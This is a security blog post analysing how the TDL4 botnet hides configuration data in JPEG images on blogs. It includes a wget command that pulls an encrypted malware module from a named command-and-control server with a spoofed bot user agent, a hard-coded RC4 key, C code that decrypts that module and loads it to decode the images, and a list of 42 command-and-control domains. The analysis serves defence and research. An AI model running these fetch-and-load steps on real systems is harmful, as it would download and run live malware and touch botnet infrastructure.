Tuesday 23 October 2012

Analysis of TDL4 (Part II)

Domains

As mentioned in the previous blog post, TDL4 has a component called CMD32/CMD64 that fetches JPEG images from the blogs specified in its configuration file. In order to recover the configurations, CMD32/CMD64 calls Init() and Uninit() functions that are implemented in the 'missing' component COM32/COM64.

Without this component and without knowing what steganography algorithm is used to conceal the text within the images, it is impossible to recover the text.

To download the COM32 component, the C&C server should be queried with a parameter mode=mod&filename=com32. Previous post explained how to encrypt this parameter. The server will also require the 'GeckaSeka' user agent, otherwise it'll ignore us.

The following parameters for wget will fetch an encrypted COM32 module from the C&C server:

wget.exe http://wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCcXju4dg= -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"

Now, in order to decrypt the received module, the RC4 key #1 will be used, as shown below:


prepare_seed(seed1); // for the received file
decrypt_file("%received_com32_module%", seed1);
where seed1, as before, is ripped from the CMD32 module:


BYTE seed1[256] =
{
0xF7,0xD4,0xE8,0x26,0x43,0xDB,0x7F,0x07,0xD3,0xE2,0x86,0x38,0x78,0x6A,0x77,0x38,
0xB0,0xCA,0xEC,0x96,0x9C,0x55,0xA8,0x26,0xFB,0x45,0x5E,0x4F,0xAF,0x9A,0x32,0xFF,
0xD5,0x82,0x21,0x26,0xF2,0x98,0xDE,0x28,0xC8,0x2D,0xCC,0xCC,0xFA,0xD1,0xE5,0x2E,
0x85,0x92,0xA9,0xCC,0xF2,0x4E,0x10,0xAD,0x63,0x47,0x25,0xA3,0x91,0x53,0x6F,0xBD,
0xF1,0x1C,0x3D,0x7E,0xD5,0x1A,0x49,0x75,0x44,0x76,0x04,0xD2,0xA3,0xD3,0xE1,0x92,
0x3A,0xA4,0x11,0x96,0x6A,0x97,0x5D,0x3A,0x76,0x3B,0xF0,0xC6,0xF7,0x5F,0xB4,0xCC,
0x0B,0x7B,0x0A,0xE5,0xCF,0x6D,0xAD,0x25,0xA0,0x86,0xC1,0x54,0xC4,0x42,0x85,0x46,
0x6C,0x8A,0x84,0x98,0x5C,0x23,0x93,0x58,0x5E,0x6C,0x36,0xC7,0x3A,0xB5,0x96,0xD4,
0xEA,0xB6,0x16,0x3F,0xF2,0xC1,0x4D,0x1B,0xFC,0x91,0x5D,0xF8,0x24,0xFD,0x99,0x4A,
0xA4,0x61,0x07,0x12,0x40,0xEC,0x43,0xBF,0x51,0x36,0xEE,0x4E,0xE9,0x58,0x87,0xBF,
0x1E,0xF0,0xBF,0x0A,0x32,0xE3,0xB8,0xB2,0x52,0xB3,0x49,0x3D,0x53,0x57,0x19,0xA8,
0x68,0xD0,0x0B,0xD5,0x50,0xD6,0x3A,0x0E,0x6E,0x3B,0xBF,0xD6,0x1C,0x6B,0x0C,0x80,
0x05,0x43,0x8D,0xD0,0x77,0xF9,0x64,0xA8,0x6B,0xB5,0xF6,0x0D,0xA0,0x9A,0x3D,0x2F,
0x00,0x52,0x3E,0x39,0xD0,0x48,0x2B,0xE7,0x55,0xE4,0x47,0x57,0x46,0x34,0xE3,0x1E,
0xFA,0xBE,0x0A,0x45,0xAF,0xCD,0x39,0xD3,0xA1,0x81,0xC2,0x35,0x50,0x21,0x65,0x70,
0x8C,0x3D,0x1B,0x3A,0xFC,0xC9,0x6A,0x96,0x65,0x18,0xC6,0x67,0x3A,0x70,0x97,0xE1,
};
With the same RC4 decryptor, the file decryption routine is implemented as:


void decrypt_file(LPTSTR szFileName, LPBYTE seed)
{

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPBYTE lpbyBase = NULL;
DWORD dwSize = 0;
BYTE bRet = 0;

if ((hFile = CreateFile(szFileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)) != INVALID_HANDLE_VALUE)
{

if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
((hMap = CreateFileMapping(hFile,
NULL,
PAGE_READWRITE,
0,
0,
NULL)) != NULL))
{
if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,
FILE_MAP_ALL_ACCESS,
0,
0,
0)) != NULL)
{

RC4KEY rc4_key;
rc4_init(seed, 256, &rc4_key);
rc4_crypt(lpbyBase, dwSize, &rc4_key);

UnmapViewOfFile(lpbyBase);
}

CloseHandle(hMap);
}
CloseHandle(hFile);
}
}
The decrypted file is indeed a DLL file that exports Init() and Uninit() APIs. Without even trying to understand the steganography algorithm implemented in it, let's load it up and try to call its exports in order to decrypt the JPEG images posted into the blogs, specified in the MAIN configuration file as:

[jpeg_begin]
http://Skylaco[censored].livejournal.com/|m6dj7aA9mhQKdI8X3jy9
http://miqefic[censored].wordpress.com/|jt5G/KE25R1VSaYny0rr
[jpeg_end]

Needless to say, the COM32 Dll should always be loaded in the controlled environment (treated as a malware) as the online version of it might be updated with malicious code any time.

In order to call Init() and Uninit(), first we need to understand what parameters are expected by these functions.

As seen in the disassembled code below, the Init() function accepts 5 parameters: a pointer into JPEG buffer, its size, pointer into the address of the decoded configuration data, its returned size, and finally, a JPEG steganography password.


.text:10003782 mov ecx, [esi] ; decrypted JPEG password
.text:10003784 push ecx
.text:10003785 lea edx, [esp+62D4h+Size] ; returned configuration size
.text:10003789 push edx
.text:1000378A lea eax, [esp+62D8h+lpConfig] ; pointer into configuration
.text:1000378E push eax
.text:1000378F push ebp ; JPEG file (buffer) size
.text:10003790 push ebx ; pointer into JPEG raw buffer
.text:10003791 call [esp+62E4h+lpfnInit]
JPEG steganography password is recovered by decrypting the righ-hand part of the blog URL specified in the configuration (as shown above). For example, to decrypt all images from the Skylaco[censored].livejournal.com blog, the string m6dj7aA9mhQKdI8X3jy9 should be decrypted with the RC4 key #1, and then passed to the Init() function within COM32 Dll.

The Init() function will allocate memory where it will unpack the configuration. As shown on the listing below, it will then save the recovered configuration back into the memory section of the infected host process, then pass the pointer of the allocated memory buffer to Uninit() function in order to de-allocate the memory:


.text:100037DF mov eax, [esp+62D0h+lpConfig] ; get config pointer
.text:100037E3 push offset aMain_0 ; "main"
.text:100037E8 call save_into_host_image
.text:100037ED test eax, eax
.text:100037EF jz start_over_again
...
.text:100037F5 mov eax, [esp+62D0h+lpConfig] ; get config pointer
...
.text:100037F9 push eax
.text:100037FA call [esp+62D4h+lpfnUninit] ; pass it to Uninit()
Knowing exactly what parameters are used for Init() and Uninit(), let's declare the prototype for these functions:


typedef WINADVAPI BYTE (WINAPI *FINIT)(LPBYTE abyJpegBuffer,
DWORD dwJpegSize,
LPDWORD lpdwConfigPointer,
LPDWORD lpdwSize,
LPSTR szJpegKey);
typedef WINADVAPI BYTE (WINAPI *FUNINIT)(DWORD dwConfigPointer);

FINIT lpfnInit = NULL;
FUNINIT lpfnUninit = NULL;
Next, let's call the function that will decrypt the downloaded JPEG image, passing it the JPEG steganography password that is specified in the configuration:


decrypt_jpeg("%downloaded_jpeg_file%", "jt5G/KE25R1VSaYny0rr");
where decrypt_jpeg() function is implemented as shown below:


void decrypt_jpeg(LPSTR szFileName, LPSTR szJpegKeyBase64)
{
char zJpegKey[MAX_PATH];

decrypt(szJpegKeyBase64, szJpegKey, seed1);

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPBYTE lpbyBase = NULL;
DWORD dwSize = 0;

DWORD dwConfigPointer;
DWORD dwConfigSize;
DWORD dwBytesWritten;

char szConfigTxt[MAX_PATH];
HANDLE hConfigTxt = NULL;

HINSTANCE hCom32 = LoadLibrary("%decrypted_com32_module%");
if (hCom32 == NULL)
{
return;
}

lpfnInit = (FINIT)GetProcAddress(hCom32, "Init");
lpfnUninit = (FUNINIT)GetProcAddress(hCom32, "Uninit");

if ((lpfnInit == NULL) || (lpfnUninit == NULL))
{
FreeLibrary(hCom32);
return;
}

if ((hFile = CreateFile(szFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL)) != INVALID_HANDLE_VALUE)
{

if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL))
{
if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)
{

dwConfigSize = 0;
dwConfigPointer = 0;

if (lpfnInit(lpbyBase,
dwSize,
&dwConfigPointer,
&dwConfigSize,
szJpegKey))
{
if (dwConfigPointer && dwConfigSize)
{
sprintf_s(szConfigTxt, MAX_PATH, "%s.txt", szFileName);

if ((hConfigTxt = CreateFile(szConfigTxt,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL)) != INVALID_HANDLE_VALUE)
{
WriteFile(hConfigTxt,
(LPVOID)dwConfigPointer,
dwConfigSize,
&dwBytesWritten,
NULL);

CloseHandle(hConfigTxt);
}
}

lpfnUninit(dwConfigPointer);
}

UnmapViewOfFile(lpbyBase);
}

CloseHandle(hMap);
}
CloseHandle(hFile);
}

FreeLibrary(hCom32);
}
Applying this function over an image downloaded from one of the blogs above (the actual image below doesn't have an embedded text - it was stripped as the image was processed, the original image is available here):

reveals full configuration file that includes new C&C servers in it:

Applying this function over all JPEG images from the 2 previously mentioned blogs, allows assembling the C&C domain list below:

  • http://andianralway.com

  • http://ardchecksys.com

  • http://arevidenlo.com

  • http://asdron.com

  • http://aspirefotbal.com

  • http://atisedir.com

  • http://ciselwic.com

  • http://docietyofa.com

  • http://doproter.com

  • http://ecavesiyc.com

  • http://ersitycardio.com

  • http://farepala.com

  • http://healthclini.com

  • http://icaidspenp.com

  • http://lacuricub.com

  • http://listofvoteri.com

  • http://mecarinariniz.com

  • http://merialedilasuc.com

  • http://njmedicaice.com

  • http://nucerecat.com

  • http://playpitchca.com

  • http://ramofgrenca.com

  • http://rentalprope.com

  • http://ricardogoe.com

  • http://sardpuitsmea.com

  • http://sdhcardusba.com

  • http://shuttleserv.com

  • http://silverlakem.com

  • http://tilesnightc.com

  • http://tobenri.com

  • http://uclanedical.com

  • http://uindirected.com

  • http://uluniwiming.com

  • http://usibetsou.com

  • http://vaneriledcas.com

  • http://wacardeuse.com

  • http://wahinotisifatu.com

  • http://waoninstofnatine.com

  • http://washutubs.com

  • http://wideoexpre.com

  • http://wieremien.com

  • http://yonseiuniver.com

Once the new C&C servers go live, TDL4 will visit them and request updated configuration from them. The new configuration may specify different blogs with the different posted JPEG images, and new configuration data embedded in them, pointing into the new domains. This vicious cycle may potentially go on indefinitely. Until there is at least one live domain or one live blog, the masterminds behind the botnet have a chance to inject a new portion of the domains and blogs into this deadly whirlpool, preserving full control over the victims.